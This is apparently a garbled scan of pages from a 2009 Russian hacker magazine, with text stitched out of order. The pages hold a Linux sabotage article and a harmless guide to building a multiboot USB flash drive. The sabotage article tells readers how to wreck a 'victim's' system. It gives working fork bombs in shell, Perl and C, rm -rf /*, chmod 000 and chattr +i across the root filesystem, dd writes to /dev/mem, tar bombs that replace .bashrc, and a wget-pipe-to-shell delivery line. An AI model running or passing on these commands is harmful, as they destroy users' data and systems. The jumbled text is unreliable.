Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
17.2 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ВUNIX чтоугодноможетбытьвирусом:)

ls будетпроисходитьочищениетекущегокаталога. Представь, какудивитсянашажертва, когдазапуститls иувидит, чтовсефайлыкуда-топодевались. Будетещесмешнее, еслионапопытаетсявыйтинакаталогвышеивновьвызоветls…

Ещеодининтересныйтрюк: выставитьсовершенноизвращенныеправанавсефайлыикаталогисистемы:

#chown nobody:nobody -R /

#chmod 000 -R /

Этоприведетктому, чтодееспособнымостанетсятолько root, тогдакаквсеостальныепользователинесмогутдаже войтивсистему. Болеезловещийвариант: воспользоваться расширеннымиатрибутамифайловойсистемыext3/4 для того, чтобысделатьвсефайлысистемынемодифицируемымиинеудаляемыми.

#cd /

#chattr -R +i *

Особаяфишкаэтогоспособавтом, чтонеопытномупользователюбудеточеньсложнонайтипричинустольстранного поведенияфайловойсистемы. Расширенныеатрибуты непользуютсяпопулярностью, ихнепоказываеткоманда ls, многиевообщенезнаютоихсуществовании. Жертва проверитправаиубедится, чтовсевпорядке, затемначнет пробоватьперемонтироватьфайловуюсистемуврежиме

записи, чтонедастровнымсчетомничего, попытаетсяперезагрузитьсистему, чтобудетневозможносделать. Наконец, недругнажметкнопку«сброс» насистемномблоке, дождется окончаниявосстановленияжурналаивновьпопробуетудалитьфайл… Нонетут-тобыло, расширенныеатрибутыможно убратьтолькоспомощьюутилитыchattr иличерезотключениеихподдержкивядре.

Еслижетвояжертва—суровыйпрофи,умеющийпользоваться загрузочнымдискомдлявосстановлениясистемы, знающий оправахдоступаирасширенныхатрибутах, аспособудаления всегоивсятысчитаешьслишкомнизкиминедостойным, то предлагаювзятьназаметкуследующийпростойшелл-скрипт:

$ cd ~; for x in 'ls'; do mv -f $x $y; y=$x; done

Оннеубиваетданные, невводитвпользователявнепреодолимыйступор, нопозволяетотвсейдушипосмеяться. Послевыполненияэтойпоследовательностикомандвсе файлыиподкаталогидомашнегокаталогапользователя будутиметьнеправильныеимена, аеслиточнее: будут сдвинутынаодинвперед. Напервыйвзглядлистингфайлов будетвыглядетьправильно, нонапроверкуокажется, что содержимоелюбогоизфайловнесоответствуетимени. Жертвепридетсяизряднопостаратьсяиубитьмноговременипередтем, каконавсеприведетвпорядок.

СпомощьюстандартногоAPI мыможем записатьвsyslog все, чтоугодно

Еслитынехочешьпричинятьсерьезныйущерб, тотебе помогутфорк-бомбыиразличныеспособыотправитьядров панику. Впростейшемвариантефорк-бомбавыглядиттак:

:(){ :|:& };:

Апослерасшифровкитак:

func() {

func | func &

}

func

Анаperl воттак:

$ perl -e 'fork while true;'

Командапорождаетбесконечноечислопроцессови, если максимальноечислопроцессовииспользуемойпамятине ограниченоспомощьюulimit (авподавляющембольшинствеслучаевтаконоиесть), системавскореисчерпаетвсе своиресурсыиокажетсянедоступной.

Чтобысделатьфорк-бомбуболееэффективной, надежной исмертоносной, ееследуетоформитьввидебинарного файла(которыйбудетдажепрощеподсунутьжертве):

DVD

dvd

Наприлагаемом кжурналудискеты

найдешьполныеверсиисырцовsyslogfake.c, hole.

c инесколькофоркбомб.

HTTP://WWW

links www.linux.org.ru/ view-message. jsp?msgid=392747

— оригинальное сообщениенафоруме ЛОРа.

$ VI FORK-BOMB.C

int main(void)

{

for (;;) {

while (fork() != -1)

;

for (;;) { getpid();

malloc(65536);

}

}

exit(0);

}

Обративниманиенафактиспользованияфункцииmalloc(), которая, будучизапущеннойвбесконечномцикле, постепенновысосетизсистемывсюдоступнуюоперативнуюпамять. ОсобоеместосредиUNIX-западлостроенийзанимают различныеспособызахламленияфайловойсистемыили, говоряпо-человечески, файл-флуд. Флудбудетполезен тогда, когдавсеостальныеспособыоказываютсянеэффективнымиилислишкомжесткими. Онненесетособойопасности, номожетсерьезнонавредить, будучипримененным набоевомсервере. ПростейшийметодзахламленияФС

— созданиефайла, которыйбудетпостояннорастиивконце концовзайметвседоступноепространство. Например:

$ cat /dev/random > ~/.backup &

Такжевозможносозданиебесконечнойцепочкиподкаталогов:

INFO

info

Командаrm, поставляемая ссовременнымидис-

трибутивамиLinux, отказываетсяудалять корневойкаталог. Поэтомуактуальная командадолжна выглядетьтак: «cd / && rm -rf *» илитак: «rm -rf /*».

Русскаярулетка

встилеUNIX:

$ [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo «Жив»

XÀÊÅÐ 11 /131/ 09

079

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

UNIXOID

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

while : ; do mkdir subdir cd subdir

done

Этакомандаэффективносработаетнафайловойсистемеext4, ноненанесетособого вредаext3 иufs, вкоторыезаложенлимитна количествоподкаталогов(32000). Крометого, существуетимножествовариантовразлич-

ныхdecompression-бомбиtar-бомб. Смысл ихвтом, чтобысоздатьархив, которыйпосле распаковкизайметогромноепространство нажесткомдискеилизахламитфайловую систему. Decompression-бомбысоздаютсяс

помощьюгенерацииогромныхразмеровфайла, содержащегобольшоеколичествомногократно повторяющихсяблоковданных, иегоупаковкис помощьюbzip2. Врезультатесовсемнебольшой безобидныйархивраспакуетсявоченьбольшойфайл, которыйможетзанятьвесьжесткий диск. Способсоздания: беремисточникданных (хотьстроку«aaaaa»), организуемлуп, который будетмногократнодобавлятьсодержимое источникаданныхвновыйфайл, азатемпросто запаковываемегоспомощьюbzip2:

$ for i in {1..1000000}; do for i in {1..1000000}; do

echo "aaaaa" >> bomb done

done

$ bzip2 bomb

Tar-бомбысоздаютсяиначе. Ихзадачане толькозахламитьфайловуюсистему, ноипопы- татьсяподменитькакие-либофайлыбазовой системы. Создаютсяониспомощьюупаковкив tar-файлсразунесколькихкаталоговифайлов, которыебудутраспакованывсистему, врезультатечегорабочийкаталогстанетпомойкой, а некоторыефайлыбудутзаменены:

$ mkdir bomb $ cd bomb

Исходныйкодпрограммки, создающейв/tmp файлогромного размера

// создаем разные файлы и каталоги $ mkdir ...

$ tar -cf bomb.tar * .* $ bzip2 bomb.tar

Послераспаковкитакогофайлавтекущем каталогежертвыпоявятсявсефайлыикаталоги, находящиесявархиве. Всясольвтом, чтомногиераспаковываютархивыпрямов домашнийкаталог, поэтому, есливархивпоместить, например, файл.bashrc снужнымнам содержимым, тооригинальный.bashrc будет замененнааналогизархива(наскриншоте«В UNIX чтоугодноможетбытьвирусом» наглядно показано, какэтосделать). Аведьэтоотличный способподсунутьнашкоджертве, скажешьты ибудешьабсолютноправ. Издругихспособов могупривестиупаковкунашихфайловвdeb/ rpm-пакеты, которые, какоказывается, большинствопользователейзапускаютбезвсяких подозрений, и, достаточноинтересныйспособ указанияпрямойссылкинанашвредоносный скрипт:

$ wget http://адрес_скрипта -O- | sh

SHOW NO MERCY

Ипоследнее: насамомделеубитьUNIX элементарно, идляэтогоненужныникакиескрипты, бомбы, стресс-тестыфайловойсистемыи другиеприблуды, достаточнооднойкоманды. Да-да, UNIX оченьпростоуничтожитьпрямо

Воттакможноперевернутьсодержимоекаталогасногнаголову

изкоманднойстроки. Яприведувсегопять возможныхвариантов, хотянасамомделеих великоемножество:

1.Убиваемголовнойпроцесс:

#kill -9 1

2.Убиваемвсепроцессысистемывобратном порядке(чтобыпосмаковать):

#kill -9 {64000..1} >

/dev/null 2>&1

3.Отправляемядровпаникуспомощьюзаписи мусорав/dev/port:

#dd if=/dev/random of=/dev/port

4.Отправляемядровпаникуспомощьюзабиванияпамятиядранулями:

#dd if=/dev/zero bs=512 of=/dev/mem

5.ОтправляемLinux впаникучерезстандартныйинтерфейс(!):

#echo 1 > /proc/sys/kernel/panic z

ФИШКИ WINDOWS 7: НОВЫЕ ФИШКИ В ИНТЕРФЕЙСЕ

 

Что еще нравится— это фун-

меня до сих пор стоит Vista и

• Win+Shift+Вверх и

баре на одну иконку одного

 

кция Snap, которая позволяет

знал бы ты, насколько мне не

Win+Shift+Вниз — разворачи-

из приложений, все осталь-

 

расположить два докумен-

хватает там Snap’а. Тянешь

вает и восстанавливает окно

ные окна становятся невиди-

 

та рядом, просто потянув

окошко — а ничего не проис-

по вертикали.

 

мыми. Еще одно новшество

 

 

 

их к разным краям экрана.

ходит :(. Впрочем, полезное

Еще одна комбинация

кла-

позволяет переключаться

 

Windows сама ресайзит окно

нововведение ты, наверное,

виш — Win+Home — сво-

между окнами одного прило-

 

до половины ширины дисплея.

уже видел в действии, а вот

рачивает/восстанавливает

жения. А если у тебя откры-

 

Мега-удобно: тот же Word на

чего не знаешь — так это, что

все окна, кроме активного.

то 5 окон одного и того же

 

широкоформатном мониторе

все действия Snap’а доступны

Вообще, новая система изо-

приложения, можно быстро

 

разворачивать на весь экран

через горячие клавиши:

билует такими вот мелочами,

переключаться между ними,

 

незачем. Можно в одной части

• Win+Влево и Win+Вправо —

к которым привыкаешь и

удерживая Ctrl и нажимая

 

экрана разместить окно Visual

прикрепить окно;

потом думаешь: «Почему они

кнопку на панели задачи. Это

 

Studio, а в другой — браузер с

• Win+Вверх и Win+Вниз —

раньше такого не делали?».

гораздо удобнее, чем выис-

 

открытым мануалом из MSDN.

разворачивает и восстанавли-

Вот, например, маленький

кивать эти окошки в диалоге

 

На домашнем компьютере у

вает/сворачивает окно;

хинт: при наведении в такс-

по Alt+Tab.

 

 

 

 

 

 

 

 

 

 

 

 

096

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Реклама

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

w Click

to

 

 

 

 

 

 

UNIXOID

 

 

 

 

 

 

 

m

ЮРИЙ «ADEPT» ВИДИНЕЕВ ADEPTG@GMAIL.COM

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Панацея

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

нафлешке

Создаеммультизагрузочную флешкунавсеслучаижизни

Думаю, увсехнасестьнескольколюбимых LiveCD, которыемыпостоянноносимссобой— навсякийслучай. Иэтооправданно, ведьLiveCD незаменим, когданужно восстановитьработоспособностьОСили простопоработатьвзнакомомокружении. НоCD/DVD — громоздкийиненадежный носитель. Еслитебенадоелотаскатьс собойворохLiveCD, япредлагаюзаписать всеэтиОСнафлешку.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Ñ

моментапервогопубличногорелиза

мы все-таки будем водружать. Вариант

дитьсядлязапуска, например, mhdd (лучшей,

 

 

knoppix («дедушки» всехLiveCD)

установки Windows представляется мне не

намойвзгляд, программыдлянизкоуровневой

 

прошлоужеоколо10 лет. Заэтот

очень удачным, так как функциональность и

работысвинтами).

 

сроккаждыйуважающийсебя

скорость работы этой ОС в качестве LiveUSB

Вустановленномвидевесь«зоопарк» будет

 

дистрибутивобзавелсяLiveCD-вер-

оставляет желать лучшего. К тому же, ее

заниматьнеболее2,5-3 Гб, поэтомуподойдет

сией, аколичествоузкоспециализированных

запуск с CD или флешки запрещен по лицен-

любаяфлешкаот4 Гб. Можновзятьибольшего

LiveCD-системперевалилозавсемыслимые

зионному соглашению. Если не рассматри-

объема, приэтоморганизовавжирныйраздел

инемыслимыепределы. Новремяидет, и

вать всякие экзотические варианты, типа

FAT/NTFS, используемыйпопрямомуназначе-

компакт-дискиуженесоответствуютсовре-

Minix, то на выбор остается сотня-другая ОС

нию— дляпереносаданных. Нояпредпочел

меннымтребованиямкомпактности(такой

на базе Linux и десяток-другой решений на

выделитьподэтузадачуотдельнуюфлешку

воткаламбур), надежностиисроковхранения

xBSD. После непродолжительных разду-

Transcend V85 на4 Гб.

информации. НасменуLiveCD/LiveDVD-систе-

мий я остановил свой выбор на следующих

ВсенастройкибудутпроизводитьсянаUbuntu

мамдавнопришлитакназываемыеLiveUSB-

системах:

9.10 amd64 alpha (кмоментупубликациистатьи

системы(ОСнаUSB-флешке). Создатьсвой

1. System Rescue CD 1.3.1 Beta4 — пожалуй, самый

ужевыйдетрелиз), котораяживетнаноутеDell

LiveUSB скаким-нибудьоднимдистрибутивом

популярный, функциональныйидинамически

Vostro A860.

сегоднянесоставляеттруда. Напомощьпридут

развивающийся«спасательный» CD набазе

ПРОПОРЦИИ

многочисленныеграфическиеутилиты, подчас

Linux.

дажевходящиевсоставдистрибутива. Нопри

2. Ubuntu 9.10 i386 Alpha6 LiveCD — думаю, впред-

Использоватьобъемфлешкиможнодвумяспо-

всейпростотеподходнедостаточногибок: если

ставленииненуждается. Пригодится, если

собами: либосоздать1 раздел, кудапоставить

требуетсянесколькоОСилихочетсяпо-своему

захочетсяпоработатьвзнакомойсистемена

всеОС, либовыделитькаждойсвойраздел.

разбитьнакопительнаразделы— придется

чужомкомпе.

Первыйвариантнеоченьудобен, таккакна

немногопоработатьрукамииголовой. Зато

3. DrWeb 5.0 LiveCD — переноснойантивирус, удоб-

одномразделеобразуетсямешанинаизфайлов

получитсямногофункциональный, тонкона-

ныйидостаточноэффективный.

разныхОС, чтоосложняетобновлениеивынуж-

строенныйинструмент. Итак, приступим…

4. FreeBSD 8 RC1 — наслучай, еслипонадобитсяее

даетотслеживатьсовпаденияименфайлов. К

ИНГРЕДИЕНТЫ

куда-нибудьустановитьилипочинитьустанов-

томуже, FreeBSD отказываетсяжитьнаFAT-

леннуюсистему.

разделе. Лучшеподелитьфлешкунаразделы. Я

Для начала стоит определиться, что же

5 FreeDOS — да-да, старичокещеможетприго-

использовалследующееразбиение:

082

XÀÊÅÐ 11 /131/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Эволюцияносителейинформации

1.FAT32, 400 Ìá — на случай необходимости переноса небольшого количества информации. Кстати, мне попадались компьютеры, которые отказывались грузиться с флешки, если на ней не было первого раздела с FAT32. На этом же разделе мы разместим образы загрузочных дискет с

FreeDOS.

2.Неформатированный, 1 Гб— разделдля FreeBSD. Еслихочетсяхранитьколлекцию портови/илиустановитьчто-нибудьдополни- тельно, томожетпонадобитьсябольшеместа. FreeBSD можетбытьустановленатолькона первичныйраздел.

3.EXT4, 2 Ãá — разделдляUbuntu.

4.EXT4, 250 Ìá — разделдляSystemRescueCD.

5.EXT3, 100 Ìá — разделдляDrWeb LiveCD. Текущаяверсиянеможетзагружатьсясext4. Разбиватьможнокакспомощьюfdisk + mkfs, такиспомощьюgparted. Этотривиальнаяоперация, поэтомуподробнонанейостанавливатьсянебудем. Стоитлишьучестьнекоторые нюансы:

• Дляудобстваможнокаждомуразделуприсвоитьсоответствующуюметку.

• НаFAT-разделрекомендуюустановитьboot- флаг.

• Сцельюэкономииместанаext-файловых системахлучшеотключитьрезервирование блоков(вместо/dev/sdb3 нужноподставить именанужныхразделов):

$ sudo tune2fs -r 0 /dev/sdb3

Пришло время выбрать загрузчик для нашего «зверинца». Вариантов не так много: если держаться мейнстрима, то выбирать надо из Grub, Grub2, Grub4DOS, syslinux.

Syslinux — хороший и распространенный загрузчик (практически все графические утилиты именно его устанавливают на флешку), но он не умеет напрямую грузить

FreeBSD. Grub4DOS — тот же Grub, только с некоторыми дополнительными возможностями. Grub2 — реинкарнация Grub первой версии (который теперь получил название Grub Legacy), имеющая все

те же возможности плюс много всяких вкусностей (подробнее о Grub2 можно узнать из статьи «На пути к совершенству», опубликованной в z#127). Его-то и будем ставить, благо, в Ubuntu, начиная с версии 9.10, он является загрузчиком по умолчанию.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

Командадляустановкизагрузчикавыглядит

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

следующимобразом:

$ sudo grub-install --root- directory=/media/Ubuntu/ /dev/sdb

где/dev/sdb — устройство, кудаустановится бутлоадер, а/media/Ubuntu/ — путь, гдебудет находитьсякаталог/boot/grub сконфигоми модулями. Вкаталоге/media/Ubuntu/boot/ grub создадимконфигурационныйфайлgrub. cfg ссодержимым:

$ sudo nano /media/Ubuntu/boot/grub/grub. cfg

set timeout=5 set default=0

menuentry "Reboot" { reboot

}

menuentry "Halt" { halt

}

Параметр«set timeout» задаетвремя, поистечениикоторогоприбездействиипользователя будетзагруженпункт, заданныйпарамет-

ром«set default». Конструкцииmenuentry

описываютпунктыменю(нумерацияпунктов начинаетсяс0).

ПЕРВОЕБЛЮДО

ВариантовустановкиUbuntu нафлешку несколько:

1.Запуститьустановкуивыбратьвкачестве корняразделнафлешке. Всевносимыев системуизменениябудутсохраняться, номы лишимсяпреимуществlive-системы: возникнутпроблемысзагрузкойиксовнакомпах сразнымивидеокартами, будутплодиться сетевыеустройствавudev ит.д.

2.Простоскопироватьнафлешкусодержимое LiveCD. ВэтомслучаеостанутсявсепреимуществаLiveCD, новносимыеизменениябудут теряться.

3.СкопироватьнафлешкусодержимоеLiveCD исоздатьфайлcasper-rw, вкоторомбудут сохранятьсявсеизменения. Намойвзгляд, наиболееоптимальныйвариант.

Копируемназаранееподготовленныйраздел содержимоеLiveCD, заисключениемпапок isolinux, pics ифайловwubi.exe иautorun.inf (незабываемскопироватьскрытыйкаталог

.disk). Затемсоздадимнаэтомразделефайл casper-rw размером1250 Мб:

$ dd if=/dev/zero of=casper-rw bs=1M count=1250

иотформатируемеговext2:

$ mkfs.ext2 -F casper-rw

Теперьвgrub.cfg добавимпункты:

$ sudo nano /media/Ubuntu/boot/grub/grub. cfg

menuentry "Ubuntu" {

XÀÊÅÐ 11 /131/ 09

083

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

UNIXOID

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Разбиваемфлешкувgparted

# В отличие от Grub Legacy, в Grub2 отсчет разделов начинается с 1 set root=(hd0,3)

linux /casper/vmlinuz noprompt cdrom-detect/try-usb=true persistent file=/cdrom/preseed/ ubuntu.seed boot=casper initrd=/ casper/initrd.lz quiet splash initrd /casper/initrd.lz

}

menuentry "memtest" { set root=(hd0,3)

linux16 /install/mt86plus

}

ВТОРОЕБЛЮДО

Ксожалению, проектFreeBSD неимеетофициальногоLiveCD (неговоряужеоLiveUSB).

АсамыйизвестныйFreeBSD LiveCD — frenzy

— остановилсвоеразвитиенаверсии1.1 (основаннойнаFreeBSD 6). Этотнедостатокс лихвойкомпенсируетсягибкостьюсистемы— качеством, свойственнымвсемуOpen Source. Ужеустановленнаяинастроеннаясистема можетбытьлегкоперенесенанафлешку. Еслиподрукойустановленнойсистемынет, томожноустановитьFreeBSD нафлешкус помощьюштатногоинсталлятора. Правда, sysinstall отказывалсявидетьмоюфлешку

иупрямопредлагалустановитьсянавинт. ПоэтомупришлосьвоспользоватьсяVirtualBox

ипредставитьфлешкукаквинт(смотриврезку «Виртуализируемся»). Пожалуй, единственный недостатоктакогоспособа— предпочтительно несоздаватьслайсычерезfdisk изFreeBSD (из-заэмуляциионнеправильноопределяет геометриюдиска). Лучшесоздатьслайсиз

Ubuntu спомощьюmkfs.ufs (изпакетаufsutils):

$ sudo mkfs.ufs /dev/sdb2

Сегодня установить FreeBSD не сложнее, чем Linux, поэтому, ввиду ограничения на объем статьи, не буду подробно останавливаться на процессе установки. Единственный нюанс: не надо устанавливать загрузчик.

Послеокончанияустановкинужновgrub.cfg добавитьпункт:

$ sudo nano /media/Ubuntu/boot/grub/grub. cfg

menuentry "FreeBSD"{ set root=(hd0,2,a) freebsd /boot/loader

}

Вужеустановленнойсистемеследуетпровести несколькоманипуляций, чтобыминимизироватьколичествооперацийзаписи/чтенияна флешке(чтонесколькопродлитейжизнь). Для началаперенесем/tmp вmfs (файловаясистемаввиртуальнойпамяти). Дляэтоговконфиг/ etc/rc.conf добавимстрочку:

#ee /etc/rc.conf tmpmfs="YES"

Спомощьюопцииvarmfs= «YES» можнотакже перенестивmfs /var. Ноиспользованиеmfs для всего/var можетвызватьнекоторыепроблемы, поэтомуеелучшеиспользоватьтолькодля/var/ run и/var/log:

#ee /etc/fstab

md

/var/runmfs

rw,-

 

s4M,nosuid,noatime

0

0

 

 

 

 

ВИРТУАЛИЗИРУЕМСЯ

Впроцессесозданиямультизагрузочнойфлешкимнепонадобилосьмногоразтестиро-

ватьполученныйрезультат. Чтобынеперезагружатьноутбуккаждыйразпривнесении измененийвконфигзагрузчика, яиспользовалVirtualBox. Правда, VirtualBox неподдерживаетзагрузкусUSB, ипришлосьприбегнутькмаленькомутрюку— представлению флешкикакобразавиртуальногожесткогодиска.

ПриустановленномVirtualBox (версиинениже1.4), чтобы/dev/sdb представитькакобраз виртуальногожесткогодиска, надодатькоманду:

$ sudo VBoxManage internalcommands createrawvmdk -filename /home/username/flash. vmdk -rawdisk /dev/sdb

Затемввиртуальноймашиневкачествежесткогодискауказать/home/username/flash. vmdk (приэтомупользователя, откоторогозапущенавиртуальнаямашина, должныбыть праванадоступк/dev/sdb).

md

/var/logmfs

rw,-

 

s16M,nosuid,noatime

0

0

 

 

 

 

Поумолчаниюприперезагрузкев/var/log создаютсяневсефайлы(несоздается, например, / var/log/wtmp, аоннужентакимсистемнымутилитам, какlogin, last, who ит.п.) Этоповедение можноизменитьвфайле/etc/newsyslog.conf.

Достаточнокстрокес/var/log/wtmp добавить

«C»:

# ee /etc/newsyslog.conf

/var/log/wtmp 644

3

*

@01T05BC

 

 

 

 

 

ДЕСЕРТ

ПеренесемсодержимоеDrWeb LiveCD (каталог boot) насоответствующийразделипропишем вgrub.cfg:

$ sudo nano /media/Ubuntu/boot/grub/grub. cfg

menuentry «DrWEB» { set root=(hd0,6)

linux /boot/vmlinuz root=/dev/ ram0 init=/linuxrc init_opts=4 dokeymap looptype=squashfs loop=/module/white.mo usbroot initrd=/boot/initrd vga=791

splash=silent,theme:drweb CONSOLE=/ dev/tty1

initrd /boot/initrd

}

menuentry «DrWEB safe» { set root=(hd0,6)

linux /boot/vmlinuz init_opts=3 root=/dev/ram0 quiet dokeymap looptype=squashfs loop=/module/ white.mo usbroot slowusb init=/ linuxrc

initrd /boot/initrd

}

СдискаSystem Rescue CD скопируемв соответствующийразделкаталогиisolinux и ntpasswd, атакжефайлыsysrcd.dat, sysrcd.md5

иversion. ДобавимвконфигGrub’апункты:

